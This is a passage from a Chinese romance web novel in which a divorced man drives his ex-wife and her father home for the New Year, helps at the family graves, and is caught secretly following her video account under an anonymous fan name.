不应该说睡醒,应该说几乎没睡。 可能是知道骆亦迟要来,她一整晚都毫无睡意,检查了不下三次行李,手机充了至少两次电,中间还起来打理了一遍阳台上的花。 许满也不知道自己在紧张个什么劲儿,总之迷迷糊糊睡着之后,睁眼一看,才过去一小时,而且精神状态饱满的仿佛能立马出去跑个马拉松。 睡不着索性不睡了,许满洗漱完,打算先出门吃个早餐,回来再等骆亦迟来接她。 谁知一开门,害她失眠一夜的人正杵在门口,听见门响,转过身来呆呆的看着她。 许满愣了,现在才六点,“这么早就来了?” 骆亦迟尴尬的错开些目光,“睡不着,就来等你。” 他不敢说,他其实是怕许满反悔,所以才早早地等在这里。 “怎么不敲门,走廊里多冷?” “怕影响你休息。” 许满蹙眉,看不出来是高兴还是不高兴,“这房子江淮不是过户给你了?应该告诉过你密码吧?” 言外之意,你自己不会进来? 骆亦迟听完愣愣的抬头,视线撞进许满洞悉一切的眼睛里,又心虚的错开来。 “你知道了?”问的很没底气。 “嗯,江淮都跟我说了。”许满的意外早在江淮说的那晚就过去了,现在可以说十分冷静。 骆亦迟沉默了会儿,没敢多解释,从怀里掏出一份早餐来,借此转移话题,“给你买的。” 许满接过来一摸,温的发凉,估计是在怀里揣太久,凉掉了。 大概骆亦迟也觉得这饭目前不适合入口,窘迫的垂下头,“冷的话就别吃了。” 许满默默叹了口气,她不是那种喜欢浪费食物的人,将门开大一些,让骆亦迟进屋里来,自己去厨房把那份早餐加热,端了出来。 “你吃了没?” 骆亦迟没回答。 许满心知肚明了,“没吃就吃点吧,看你脸色应该昨晚没睡好,别一会儿疲劳驾驶了。” 实际上昨晚一下班骆亦迟就来了,没地方去,就在地下车库里将就了一晚上。 咽下口中的饭,他给许满下了一颗定心丸,“不会疲劳驾驶,有你在就不会。” 许满不吃情话这一套,赶紧把饭吃完,催促着出发了。 到了地下车库,骆亦迟打开车门先让许满坐进副驾驶,贴心的给她扣上安全带,自己才绕过去发动车子。 豪车的隔音效果极好,行驶中除了发动机低低的轰鸣,外界的声音几乎隔绝,一点都听不到。 骆亦迟目视前方安静开车,连呼吸声都尽量压低,不制造出一点杂音来。 许满瞥见他的右腿,有些担心的问:“怎么不让老张来,开两个小时的车,腿受得了吗?” “没事,不影响。” 许满看了那条腿好久,见它沉稳的一点都不耽误换挡踩油门,疑心便渐渐放了下来。 中途停在康复医院去接许晋文,许晋文打眼一看,坐在驾驶位上的正是那前科累累的前女婿,回家的高兴劲儿瞬间一扫而光,死活不愿意坐骆亦迟的车。 骆亦迟战战兢兢的不敢说话,怕一说话火上浇油,就默默的把许晋文的行李搬进后备箱,打开后车门等着,聆听许晋文的指责。 “满,他?你怎么,让他来?”许晋文指着他。 许满耐心劝导:“爸你不是坐大巴晕车吗?我给你找来辆舒服的,不用倒腾,直接把我们送到家门口,多方便。” 话是这么说,但许晋文心里到底呕了一口气,那口气名为骨气,让这个年迈的老人宁死不屈。 “无事,献殷勤,非奸即盗!” 许满感到头疼,小看了老年人的骨气,没想到她爸比她脾气硬,就说:“爸,你还回不回家?” 许晋文高声:“回!坐大巴,回!” 许满:“……” 她面无表情的端详着许晋文顽抗的模样,脑子一转想了个辙,“坐大巴也行,那这样,我给你买张大巴票,你坐大巴,我在后面跟着你,行不?” “你!你,你这是……!”许晋文不知道许满又怎的被这男人迷了心窍,气得话都说不出来。 “不愿意?要么你就坐他的车。”许满摆出冷漠的表情,“快点吧爸,别闹了,人家还等着呢。” 相比之下,许晋文更不愿意自己一个人坐大巴,那样真晕车了就没人管了,无奈只得半推半就的上了骆亦迟的车。 许满跟他一起坐在后排,一路不停说着好话给许晋文顺气,“爸,你看你多厉害,都坐上大老板专座了,大老板还亲自给你当司机。” 许晋文鼻子一哼,把头扭头向车窗那边,“我还不是,被你逼的!” 因为出发时间早,半上午就到了流云湾。 家里小半年没住人,许满一进屋就里里外外的收拾起来,又是打扫卫生,又是晒被子,忙得脚不沾地。 骆亦迟没走,帮她一起收拾。 临近年关,事情很多,中午吃完饭,又得去镇上赶集备年货。 骆亦迟再次充当免费司机,去帮许满置办东西。 买年货的地方不集中,开着车需要跑很多地方,路过一家规模较大的商场,许满想着给许晋文买件新衣服穿,便进了商场。 骆亦迟借口买水,停在路边等她。 许满买好衣服出来,打开副驾驶的门要坐进去,却见骆亦迟手脚慌乱的放下裤腿。 许满鼻尖掠过一股浓浓药香,眉头一皱,看见主驾位那边开得大大的车窗。 不用猜也知道骆亦迟刚才在干什么。 她看着他,眼里透出逼问的意味:“腿不舒服怎么不说?” 骆亦迟捏捏右小腿,故作无谓的道:“没事的,不影响。” “不影响你贴什么药膏?” “……” “你这样今天还能开车回连城吗?” “……” 骆亦迟手搭在方向盘上,搓了搓皮质的方向盘套,半晌,沉默不语。 许满便猜:“不回去了?” “嗯。”骆亦迟答得忐忑。 许满将东西放好,随口说:“不回去也行,度假村那边不是有酒店吗?趁现在天还没黑,赶紧跟那边打电话订间房。” 没等到回答,许满再抬眼去看他,只看到一个黑漆漆的后脑勺。 骆亦迟支着下巴正望着车窗外的街道,不出声,不知道在想什么。 许满莫名其妙的,催道:“想什么呢,快点打电话,现在是寒假,来玩的人很多,房源紧张,晚了就没房了。” “哦,一会儿吧……”骆亦迟含糊的说。 许满内心飘起一团疑云,打量了骆亦迟半天,忽地福至心灵,猜到了他在想什么,“不想住酒店?” 不等骆亦迟回答,许满率先无情的告知他:“别想在我家睡,我家没地方。” “……” 被说中心事,骆亦迟一点都不害臊,酸不溜丢道:“夏天,你男朋友追你的时候,你怎么就让他住你家了?” “?”许满问号,“男朋友?” 骆亦迟的下颌线绷得紧紧的,他知道这话问的可能不礼貌,但还是要问。 凭什么,凭什么那小子什么都还不是的时候就能住进许满家了,而他一个前夫却不可以? 许满:“你说谁?梁桓宇?” “嗯。” 许满无语了,“你看见他住我家了?” “看见了。” 与许满重逢的那天晚上,他亲眼看见梁桓宇唱表白歌,后来许满把他关在门外,他就蹲坐在院墙外的花坛边上,顶着蚊虫叮咬听了一晚上的情歌,一直听到十一点多。 后来歌不唱了,院子里说说笑笑,再后来院子里就关了灯,连说说笑笑声也没了。 骆亦迟又等了半小时,梁桓宇那小子一直没出来,快十二点了还不出来,不是住在许满家里是什么! 每次一想起来,骆亦迟就咬牙切齿,就不平衡,那小子到底用了什么手段讨了许满欢心,而许满却次次对他冷脸相待! 许满敛着眉,简直哭笑不得,“你什么时候看见的?第一次来我家的时候?我进院子后你一直在外面没走?” 骆亦迟不否认,沉沉的“嗯”了一声。 许满嘀咕,骆亦迟这喜欢蹲墙角的癖好到底什么有的? 她也不想让骆亦迟误会自己还没跟人确立关系就留人住宿,便说:“每次直播完他都要复盘,那天晚上他在我家留得晚了一点,但没在我家住。” 没留宿? 骆亦迟眼睛微睁,情不自已直起身子,竖起耳朵。 许满又说:“还有,他不是我男朋友。” 她不想解释更多,怕骆亦迟知道多了会得寸进尺,就顺着骆亦迟已知的那些往下说,“江淮不是告诉过你,我和他已经分手了?” 骆亦迟听得愣愣的,过往因为梁桓宇而积压在心底的那些悲观情绪,此时缓缓浮出来,化成若即若离的、够不着又落不下来的小惊喜。 “那天在医院,他还给你打电话?” 他可记着呢,他和许满离婚,许满可是将联系方式都断得彻彻底底,该删的删,该拉黑的拉黑,而和那小子分手,联系方式却还留着。 “那是学生向老师正常的问询和答疑。” “哦……” 许满瞥他一眼,阴阳怪气道:“我可不像你,在有正式老婆的时候,还和别的异性纠缠不清。” 第52章 第 52 章 视奸就视奸,哪儿来那么…… 有池柠这个原罪在身, 骆亦迟总归是理亏的一方,不管心里打了怎样的算盘, 此时都变得理不直气不壮。 “我已经跟她划清界限了。”他忍不住为自己辩驳。 有过就是有过,既定事实,无论后期怎样弥补,都不可更改。 许满懒得跟他争辩,拿起手机找代驾,“我买完东西了, 走得了不?走不了就叫代驾。” 骆亦迟活动活动腿,强撑着腿上的不适,说,“能走。” 得, 死要面子,那就活受罪吧。 许满:“能走就不要啰嗦, 现在, 去酒店, 定一间房。” “……” 在许满强烈要求下, 骆亦迟只能心不甘情不愿的开车拐去度假村酒店。 路上赵靖闻打来电话, 骆亦迟直接用车载蓝牙接通。 “骆总, 章隆那件案子快开庭了, 您要出庭吗?” “我不是让律师全权代理了?” “律师有些问题想当面问问您的意思。” “必须当面吗?” “是的, 他今天来找过您, 但您不在。我看过您的工作安排, 因为要留出周末和晚上的时间, 所以目前只有明天上午能空出来。” 骆亦迟顿了顿,“明天下午呢?” “下午律师要去法院。” 骆亦迟看看许满,见她只看着窗外没看他这边, 略一沉吟,说,“好吧,明天上午,你安排吧。” 电话挂断,许满托着下巴凉凉道,“你天天在我跟前晃,我还以为你多闲呢。” “见你的时间总能挤出来的。”骆亦迟很认真。 所以这周末的时间是专门给她腾出来的?许满心里飘起一丝若有若无的酸涩,本还想说几句风凉话,忽然就没那么有底气了。 “什么时候走?要不把我送回去就走?趁天亮。” “晚点吧。” “晚点?晚到什么时候?天黑?那我做饭岂不是还得留你一份?” “……” 骆亦迟一噎,“你不用做我的份,我自己做自己的。” 话是这么说,等回家做饭,许满还是多添了一人份的量。 毕竟当了一天的免费司机,给人家留口吃的,也是应该的。 骆亦迟很有眼力见儿的帮她打下手,吃完饭还没走的意思,坐在院子里看月亮。 许满警告过他,说许晋文看见他就来气,让他自己掂量着办,他一整天都自觉避得远远的,吃饭休息都尽量不在许晋文面前出现。 但同处一个屋檐,总会碰面。 临睡前泡脚,许晋文望了眼在窗边露出个后脑勺的骆亦迟,问许满:“满儿,你跟他,好啦?” 许满把许晋文的脚从水里拿出来,毛巾擦干净,按摩按摩,给他剪指甲,才说:“没有。” 许晋文心里有一杆秤。 生病以前他没见过骆亦迟,不知道这个便宜女婿是怎样的人,但从许满离婚后对他闭口不谈的态度来看,应该是不咋滴。 这半年见这便宜女婿次数多了,每次见,他都话少,忧郁,心事重重的,挨打挨骂还都不还手,许晋文便难免审视起他来。 他是病了,但眼不瞎,看得出来,骆亦迟是想尽力弥补一些什么。 可如果不是狠狠地伤害过许满,又为什么要做到这种地步? 反正许晋文是不大乐意许满跟他和好的。 “之前,伤过你心,现在,又想跟你好。”许晋文担心许满再摔个跟头,“不安好心。” 许满微微一笑,没接话。 指甲剪完,又给搓圆润了,许满把许晋文扶上床休息。 关掉灯,许晋文睁着眼,那浑浊的眼珠在黑暗中折射出一点柔柔的光亮,“可是,你想,跟他好,我哪儿,管得住你哟。” 许满给他压好被子,轻声说,“爸,别乱想了,早点休息。” 安顿好许晋文,许满出来倒洗脚水。 厚厚的门帘一掀开,骆亦迟立刻从板凳上起来,接过她手中的洗脚水自觉去门外倒了。 动作行云流水一气呵成,不带丝毫犹豫,许满都没反应过来。 她倚在门框上,冷眼看着这个与乡村小镇格格不入的男人,做着与他阶级身份格格不入的事。 “腿不疼了?” “不疼了。” “九点了,还不走?” “不急,高速也就两个小时。” 许满有一瞬间的恍神。 她想起结婚第一年过年时,想让骆亦迟带她来流云湾看看许晋文,说了好几次,骆亦迟没放在心上,一次都没来,如今离婚了,倒是当一回事儿了,赶都赶不走。 “随便你,爱走不走。”许满一甩门帘进了屋。 许晋文试过的新衣服放在沙发上,她拿起来叠好。 骆亦迟从身后走过来,抱住她。 轻轻的,不用力,双臂虚虚环在她腰侧,留下足够可以推开他的空间。 许满感觉有温度靠近,身体有一瞬间变得僵硬,心也由慢及快跳动起来。 她强装无事,直到听到背后颤抖的呼吸,以及耳边小心翼翼的问询。 “我走了还可以再来吗?” 许满不自然的低头,告诉他一个事实,“我爸不喜欢你。” “那你呢?” “我?” 她避而不谈,手中忙个不停,借此缓解这微妙的紧张之感,反问道:“为什么还想再来?” 想来的理由有很多,最重要的那个,无非是许满人在这里,想陪着她。 可是这话说多了,他虽然可以再说一遍,但许满早就免疫,于是便换了个听起来很可怜的理由。 “我没地方去。” “没地方去?你爸妈那儿呢?” “你走后,我就没回老宅过过年,和他们一直都各过各的,这几年早习惯了。” 新衣服被许满叠得规规整整,放在沙发一角,许满直起身子,垂眸说,“没必要做到这种地步。” “我恨我妈。”骆亦迟哑着嗓子,声音发颤,“更恨自己。” 怀里的人没推开他,他便觉得这个拥抱是被允许的,把脸埋进许满脖子里,扣住许满的手,收紧手臂搂得更紧。 身体被推进一个宽厚的胸膛里,无缝贴合在一起,许满颈侧传来酥麻热意,骆亦迟的鼻尖正轻轻擦拭着她颈上裸_露的肌肤,温热的呼吸喷洒在上面,痒痒的,以此为中心,蔓延进整个身体里。 许满条件反射仰长脖子,骆亦迟嗅闻着这肖想了六年的、朝思暮想的味道,情难自禁的,在上面印下一个吻。 乡村的夜极静,冬天,连鸟兽都躲着不出来活动。 微凉的唇辗转在那一小块肌肤上,克制着,不敢用力,更不敢往上。 “许满,我们现在是什么关系?” 骆亦迟呵气吐词,眸光暗沉,怕被发现,只得用力闭上眼睛,仿佛眼皮挡住了,身体里翻涌的暗潮就看不出来了。 “朋友。”许满说,“比陌生人熟悉一点,不能更多了。” “……够了。” 已经是一种很大的进步。 骆亦迟很满足,尽管只是一个普通的朋友身份,也能让他从希望渺茫的努力中窥见一道光,让这具行尸走肉六年之久,靠一个信念苦苦支撑的躯体得到慰藉. 院墙内外的小花坛失去打理,又荒废了。 太阳爬上半山腰,许满拿起工具重新宠爱起她的小花坛,翻土除草起垄拌肥,一上午忙个不停。 今天天气好,许晋文坐在门口晒太阳,顺便看她忙活,对门的老刘在摘菜,时不时跟他们聊两句。 “老许啊,昨儿上午送你们回来那年轻人是满儿男朋友?满儿不跟小梁好啦?” 许晋文拖长声音“啊?”道:“不是不是,满儿没交男朋友。” 许满叉着腰为自己澄清,“大爷,你可别瞎说,我没跟小梁好过,他就是我学生。” 老刘不住点头,看样子是不信,笑呵呵道:“哦哦学生,来这儿住了一个月追你,看来是没追到。” 老年人都固执,怎么解释都只认自己那套死理,许满无奈又强调一遍,“大爷,他真是我学生。” 刘大爷这次似乎是听进去了,但却燃起了八卦之心,“小梁是学生,那昨天那年轻人呢?穿着打扮一看就不是普通人,开的车也牛逼哄哄的,村里人都议论呢!” 许满还没回答,许晋文先鼻子一哼,扭头凉凉道:“他啊,前女婿。” “前女婿啊……”刘大爷唏嘘,“这还是头一次见呢,他怎么来了?是来追满儿的?人呢?怎么不出来让见见?” 许满又挥起工具:“走了,昨晚上就走了。” “走了呀。”刘大爷可惜道。 许满一笑,“怎的大爷,听你口气,是想跟他唠唠?” “那可不,我瞧他人模人样的,面相上却透着股郁结之气,走路时右腿好像还使不上劲儿,估计身体哪儿有毛病,满儿你可得擦亮眼睛,好好看看呀。”刘大爷啧啧嘴,给出结论,“还是小梁好,小梁年轻。” 许满又笑:“大爷你还会看面相啊。” 刘大爷呵呵的,“那是。” 花坛不大,很快就整理完了。 许满犹豫要不要再种点花上去,但转念一想,寒假时间不长,过了十五就得返校,前前后后不足一个月,而且冬天冷,种了也不好发芽,于是就放弃了。 花坛围边重新砌好,周围泥土打扫干净,许满挑角度对着干干净净的小花坛拍了张照片,翻出相册,找到去年花开正浓时拍下的同角度照片,做了张对比图,发到了短视频账号上。 一半是绚烂怒放的生命,一半是萧瑟发黑的泥土。 音乐舒缓,配图文案:花开有时,人生有期,当下不杂,既过不恋。 账号很久没更新,发出去基本没流量。 许满退出去看了几条官方推送,不一会儿,屏幕上飘出来一条通知,有人点赞并评论了她的视频。 点开评论,是她的粉丝,用户A57G6D55留评:【你记得花,花就不会枯萎】 哎呦,酸不溜丢,比她还文绉绉。 许满被酸的龇牙咧嘴,但评论既是心意,便礼貌回了一个比心表情。 用户A立刻回复:【你种的向日葵很美。】 许满:【谢谢,是向日葵本身就美。】 用户A:【你喜欢向日葵?】 许满:【没有,我博爱,是花都喜欢。】 除了栀子。 用户A:【看你发的视频每个都有向日葵,我还以为你喜欢向日葵。】 有吗? 许满点开以前发的视频,浏览一遍,发现还真是。 七八月份向日葵正当季,她从花鸟市场买来成株移栽进花坛里,开得好,所以拍了视频,仅此而已。 许满没再回复了。 她潜意识认为这位粉丝应该是个上了年纪的大老爷们,因为如果是年轻人,就算主页没有发布任何内容,至少会把头像或昵称搞得漂漂亮亮。 最重要的,这大老爷们给她刷过礼物,而一般的年轻人可能具备刷礼物的资本,但不太可能给她这个直播内容很无聊的主播刷。 许满这样想着,去扔烂掉的向日葵根茎,忽然一段记忆冒出来。 生日那天收到的蛋糕是向日葵造型,当时还以为是梁桓宇送的,没想到是骆亦迟。 咦?对了,是不是和骆亦迟重逢的那天晚上,骆亦迟来买花,要的也是向日葵? 向日葵? 骆亦迟? 许满不想多心,脑子里却不由自主冒出一个猜测。 猜测还未成型,手就比脑子快的点开了用户A57G6D55的主页,看见了名字下面的IP地址。 连城。 “……” 一些与用户A有关的蛛丝马迹渐渐浮现出来。 刚住进华庭府没多久,开了场直播,当晚骆亦迟就找上门来了。 她还纳闷,他是怎么知道她在那儿住着的? 现在一想,是不是骆亦迟从直播场景里认出来那是江淮家,所以才怒气冲冲找过来的? 还有,她这种无聊的直播间,怎么可能有粉丝刷礼物?刷了之后说要退回,支支吾吾就是不给转账方式,是不是在躲? 还有生日那天掐点给她发的私信祝福,一个粉丝,得多铁才会掐点送祝福? 种种迹象表明,这就是骆亦迟! 许满带着这个猜测,胸有成竹打开和用户A的聊天框,噼里啪啦敲字。 【骆亦迟,是不是你!】 对方秒回:【不是。】 不是?许满不相信,思考了一秒钟,给对方发去视频电话。 不接,挂断了。 怎滴?心虚了? 许满断定了,这就是骆亦迟。 他越不承认,她就越是来气,胜负欲上来,管不了那么多了,冲进屋里拿来那颗树脂小球,又找来个锤子,把小球放在地上,锤子抵在小球上面,拍了张照片,发给对面。 语音说:“骆亦迟,你信不信,我现在就把这变态玩意儿给砸了。” 已读,不回。 “不说话是吧?我开视频,给你亲眼看看。” 已读,还不回。 许满毫不犹豫按下了视频通话键。 清脆悠扬的铃声响起,对面不接,许满也不急,就耐心等着。 忽然,铃声停了。 在即将挂断的前一秒,骆亦迟的脸终于从屏幕中跳出来。 果!不!其!然! 许满登时一脸怒容:“有意思吗?是不是觉得很好玩?” 骆亦迟沉默两秒,敛目,沉声:“不好玩。” 他难以启齿的说:“我就是想多看看你的生活。” 看就罢了,但他贪心,还想交流。 结果一不小心露馅了。 骆亦迟为自己辩白,“你任何联系方式都不给我,我想了解更多的你,只能用这种方式。” 视奸就视奸,哪来那么多理由。 许满鼻子重重一哼,气哄哄的掐断了视频。 第53章 第 53 章 胆小鬼。 一连好几天, 许满都没搭理骆亦迟。 她是真生气了,但凡换一个人, 她都不至于气成这样,虽然她自己也不知道生气的点在哪里,但就是很生气。 【这几天别来找我!】 愤愤敲下这句话,许满一气之下卸载了短视频软件。 后来这几天,许晋文发现前女婿没再出现,还纳闷的想:他不是要追满儿吗?怎么不趁大过年来表现表现, 光往家里送取暖器怎么够? 老刘说得对啊,前女婿是真不如小梁,看那小梁脸皮多厚,整个暑假都待在这儿, 一天到晚把满儿哄得开开心心的,做饭都好吃了。 为此他还向许满抱怨过, “这女婿, 三分钟, 热度, 没诚意。” 许满调试着取暖器的温度, 说:“你不是不喜欢他?他不来你应该开心才是。” 许晋文小孩一样努着嘴, “那, 不一样。” 许满反问:“哪儿不一样?” 许晋文打量许满神情, 想从中发现点异样的神情, 半天没打量出个所以然, 收回目光, 咕哝着说:“反正,不一样。” 这样一直到了年三十,按照习俗, 当天得去上坟祭祖。 许满家里就她跟许晋文两个人,许晋文身体不行,这活儿自然得落在许满身上。 不像城里人祭祖要去公墓,流云湾村民祖坟大多在山上,许满家也不例外。 三十这天一早吃过饭,许满跟许晋文打过招呼,拿上贡品和纸钱出发了。 院门一开,对门的刘大爷笑呵呵的冒出头来,朝她招手:“可算开门了,满儿,人天没亮就来了,等你一晚上了。” “?” 许满询问的目光望向刘大爷,只见刘大爷转头向院子里喊了一声:“小骆,满儿要出门了啊。” 小骆? 许满一脸黑线,不会叫的是骆亦迟吧? 正怀疑着,骆亦迟从刘大爷家里跑了出来,看见许满直接奔她而来,同时说道:“谢谢刘大爷,改天我再来找您聊天。” 刘大爷笑得慈眉善目:“年轻人就是客气,都是邻居,还谢不谢的,中午我家炖肉,可来吃点啊。” 许满着实看不懂了,几天前刘大爷不还对骆亦迟一顿数落,一点都不看好他吗?这怎么好端端的突然对他这么亲切了?连肉都给他炖上了? “要去哪儿?”骆亦迟很自然的拿过许满手中的东西。 许满斜了他一眼,问出心中疑惑,“你收买刘大爷了?” 骆亦迟倒很坦白,“刘大爷见我大清早的蹲在你家门口可怜,邀请我去他家坐了会儿,正好我车里有几瓶没开封的酒,就拿给他了。” 骆亦迟的酒,那肯定是一般人买不起的酒,难怪刘大爷会对他这般客气。 “对了,我给咱爸买了点补品,在车里,现在拿进去吧?” “咱爸?” 许满还憋着气没消呢,他这完全不把自己当外人的称呼,让她哭笑不得,别扭道:“我同意你这么叫了?你又不是我的什么人。” “是是是。” “是什么是,模棱两可的,不是让你别来吗,怎么又来了?” “公司放假了。” 言外之意,他没地方待了。 为了今年过年能有地儿可去,骆亦迟认错态度十分诚恳,“对不起,我不该瞒着你。” “瞒着我什么?” “短视频粉丝的事儿。” “知道就好。” 许满抬脚往前,骆亦迟以为她要去车里拿礼品,赶紧转身跟上,却见许满径直越过车头,往村后的山路去。 “你去哪儿?不拿东西吗?” 骆亦迟摸不准许满的心思,站定在车旁,有些患得患失。 许满停住脚步,回过头来看向他手中的篮子,“东西不在你手里吗?我要去上坟,你去不?” 上坟? 骆亦迟活了这二十来年,除了小时候被老师带着去烈士陵园给烈士献过花,长大后被骆彦怀带着去公墓给爷爷上过香,后来就没干过上坟这样的这事儿。 这对他来说十分新鲜,不仅如此,还可能意义非凡——许满不把他当外人,要带他见祖宗! 骆亦迟麻利的拉开车门,“坟地在哪儿,我开车送你。” 许满狐疑的看着这台名贵的车,不认为能开进山里去,“都是一人行的小山道,你开得进山里?” “……” “走吧,没几步路,篮子里有镰刀,你帮我割草开路。” 冬日山林萧瑟破败,结了霜的山路杂草丛生,许满让骆亦迟开路,骆亦迟半点都不含糊。 养尊处优的富家公子挥起镰刀来挺像那么回事儿,弯腰下身,一勾一割,动作利落,看起来丝毫毫不费力。 许满见他认真,起了打趣心思,“骆大少爷,对乡下人的生活感觉如何?” 骆亦迟听出来许满这是在挖苦他,他没有感受过这样的生活,只觉得对许满的了解又多了几分,微笑道:“感觉不错,很有意思。” 坟地不远,但因为要割草开路,所以花了点时间。 前方的荒地上有三个鼓起的小凸起,许满指指那边,示意骆亦迟到了。 骆亦迟镰刀不离手,自觉去割坟头枯长的杂草。 山风凛冽,卷起干枯落叶,破败的泥土散发出陈旧腐朽的气味。 许满蹲在三个坟头前,倒了三杯酒,将水果和糕点一一摆上,点上香,又拿树枝画了个圈,点燃纸钱放进去。 纸钱被火舌吞没,燃成轻飘飘的黑灰,带着火星旋上天,飘飘转转,半路燃尽,最后尘归尘,土归土,落回荒凉的土地上。 许满跪下,沉默的一句话都不说。 亲人死去太多年,除了奶奶,她对爷爷和妈妈几乎没有印象和感情。 都说亲情缘薄的人,这一世无牵无挂,是最后一世,死了不会再入轮回。 许满以为自己就是这样的人,没有朋友,没有爱人,本来也会失去唯一的亲人……可是骆亦迟却从半路找来,为她续上了仅存的一段亲情,还硬要将两人之间早已断了的那条姻缘线系回到她手上。 她没有太多话对天上的人讲,都已经是黄土枯骨了,跟他们说了,他们也不会懂。 可是心里攒了太多的事儿,憋在心里无处诉说,慢慢的就成了难解的一个结,有事没事出来晃一下,明晃晃的提醒她,它存在着。 她希望有人能帮她捋明白,告诉她该怎么做,告诉她绳子另一端的那个男人,到底值不值得。 可是谁会帮她呢? 纸钱燃得很快,没一会儿,篮子里空了。 许满拿树枝挑挑,让纸钱充分燃烬,等火光完全熄灭,对着三个坟头磕了三个头,然后起来。 骆亦迟见许满站起来,放下镰刀,自己也在她跪着的位置跪下,利落的跟着磕了三个头。 “哎,你干嘛?” 许满阻止已经来不及,骆亦迟哐哐哐磕完头,完事儿还不起身,双手合十念念有词。 声音很小,许满听不清,“你嘀嘀咕咕在说什么?” “没什么。”骆亦迟拒绝透露一个字。 许满狐疑的瞅着骆亦迟,但骆亦迟没有半点想说的意思,许满只得作罢,看时间差不多了,把带来的酒都洒进土里,拿土把纸灰盖住,捡起水果和糕点放回篮子里,叫骆亦迟起来,“行了,别跪了,该走了。” 骆亦迟站起,拍拍膝盖上的灰,拿上镰刀走在前面。 山路狭窄,只容一人通行,未完全消融的晨霜覆盖路面,踩上去容易打滑。 怕许满摔倒,骆亦迟牵住她手,问她:“烧纸钱时在想什么?” 许满专心看脚下的路,“没想什么,问他们问题而已。” “问的什么?” “问今年带来的糕点满不满意?满意的话就把中香留下。” “他们怎么说?” 许满笑得别有深意,“他们意见不统一,吵起来了。” 中香留得高高的,一直到离开都没落下,许满很想问问缘由,可惜,天上的人不会开口说话. 前女婿又来了,尽管他没空手,但许晋文还是把脸板了起来。 无他,既然舍不得满儿,那就得经得起他这个老丈人的寸寸审视。 可是脸板着板着,许晋文就发现,这前女婿还挺没架子的。 乡下不比城里方便,骆亦迟没抱怨过一句环境的恶劣,在寒风中贴完了窗花和对联,又在院子里劈了两小时的柴,还帮着烧火切菜,完了还在许满包饺子的时候,主动穿上围裙帮许满打下手。 不嫌脏不嫌累,无缝融入乡下生活,全是心甘情愿,没有一句怨言,殷勤得很。 许晋文难免就想起在康复医院时,骆亦迟隔三差五去探望他的那阵子,也是这样,光做不说,让人挑不出毛病,厌恶不起来。 既然人没毛病,那为什么跟满儿离婚呢? 问过满儿原因,满儿说是因为讨厌才离的,可是讨厌在哪儿呢?许晋文看不懂。 “爸,太阳落山了,屋里暖和,我扶你去屋里吧。” 骆亦迟终于对许晋文说了今天的第一句话。 许晋文气恼自己就快被俘虏了,差点忘了这便宜女婿之前还看不起他们一家,连门都没登过,长脸一拉鼻子一哼,说道,“你爸,搁哪儿呢,就乱叫”,却把手伸出来,搭在骆亦迟的手背上,借力慢悠悠站起,被骆亦迟搀扶着进了屋子。 夜幕降临,村里渐渐响起烟花爆竹声。 许满家里人不多,不比骆家满满一大桌的铺张,本着不浪费不吃隔夜菜的原则,她只准备了四菜一汤,有鸡有鱼有荤有素,再加一盘饺子,就是今年除夕的年夜饭了。 骆亦迟拿来一瓶酒摆在桌上,许晋文不能喝,他便给自己和许满斟了一杯。 “爸,许满,新年快乐。”骆亦迟先敬了一杯酒。 许满筷子在他手背上一敲,嗔道:“不是告诉你别乱叫?” 骆亦迟讪讪的夹了一块鱼肉,挑干净刺,放进许满碗里,“不叫爸那我叫什么?” 许满把鱼肉放进许晋文碗里,冷漠道:“叫叔,我爸比你爸小。” “可是我已经习惯叫爸了……” “那也不能乱叫。” 老旧的电视机播放着新一年的春晚节目,晚会传出阵阵欢声笑语,许满和许晋文的注意力被吸引,不再去纠结称呼这件事。 骆亦迟扫向电视屏幕,他已经忘了上次和许满一起过年时的情景,只记得老宅里数十年如一日的满桌菜,和饭桌上杜曼玲明里暗里的催生,许满嫁进来,家里多了一个人,也没有因此而变得热闹。 许满在那个家总是闷闷不乐,他当时眼睛长在天上,根本没去注意,后来再想起来,却回忆不起一星半点许满当时的样子。 可是这次却不一样了,这是他离婚后第一次正儿八经的过年,一年新始,许满脸上的笑容,就是他留在这里的意义。 许晋文和许满胃口都不大,两个人加起来都比不上骆亦迟一个人的——大概是因为他今天干了一天的活儿,饿狠了。 许晋文看晚会看得起劲,年夜饭吃完仍不想休息,赖在沙发上要看电视。 大过年的,许满不想让他不开心,便遂了他的意。 外面鞭炮齐鸣,节目里载歌载舞,除夕之夜,人们精神总是很高昂。 年轻人的电话响个不停,一年结束,各种熟悉的不熟悉的人都通过电话发来新年祝福,许满挂断梁桓宇的拜年电话,往沙发上一看,许晋文眼皮不知道什么时候粘在了一起,头正枕在沙发靠背上,张嘴打着呼噜睡觉呢。 这么睡要着凉,她放下手机去叫醒许晋文,许晋文迷糊的睁开眼睛,惺忪的眼皮撑了没几秒钟,熬不住又合上了。 “爸,别看了去睡吧,明天还重播呢。” 许晋文咕咕哝哝推诿了几句,最后实在顶不住困意,被两个年轻人搀扶回了卧室。 安顿好许晋文,许满从柜子里抱出一床被子,塞进骆亦迟怀里,“今天过节,我不撵你走,但我家没多余的地方给你睡,除了我和我爸的卧室,地方你自己挑吧。” 骆亦迟就怕许满赶他,没想到不仅没赶,还主动让他留下,这对他来说简直是天降惊喜,哪儿敢嫌弃,于是一把搂紧被子,心情愉悦却不好表露出来,矜持的选择了客厅的沙发。 许满没有表情的说,“沙发啊,提醒你一句,明天我会早起,你注意点。” 许满没有守岁的习惯,交代完准备睡了。 眼见她要进卧室,骆亦迟叫住她:“不一起看电视了吗?” “不想看,没意思。” “哦,是没意思。” 骆亦迟想跟许满多说说话,绞尽脑汁,找不出一个可以聊起来的话题。 从坟地回来,许满的话就变得很少,骆亦迟复盘了好几遍,没找出许满如此的原因。 一阵电话铃音将他的思绪拉回。 身为骆氏负责人,他的拜年电话格外的多。 许满不打扰他接电话,进了卧室,关灯躺在床上,窗外咚咚咚的响个不停,烟花此起彼伏绽了满天,绚烂的光彩打在窗帘上,映得人无法安眠。 睡不着,许满干脆不睡了,坐起来回复老师和学生的拜年短信。 电视的声音开得很小,爆竹声过后,骆亦迟打电话的声音通过不隔音的门板传进来,变得尤为突兀。 “法国”,“拍摄”,“养胎”。 几个字眼从骆亦迟口中说出来,不经意钻进许满耳朵里,令许满心念一动,放下了手机。 她不想听,但耳朵却不听使唤的竖起,骆亦迟“嗯”“嗯”“嗯”的回答了几句,最后以一句“新年快乐”结尾。 客厅电视机的声音又调大了一些,许满无法将听到的那三个词语串联成完整的句子,怔怔的坐了一会儿,门被敲响。 骆亦迟在门外问她:“睡了吗?我有话对你说。” “就在门外说吧。” 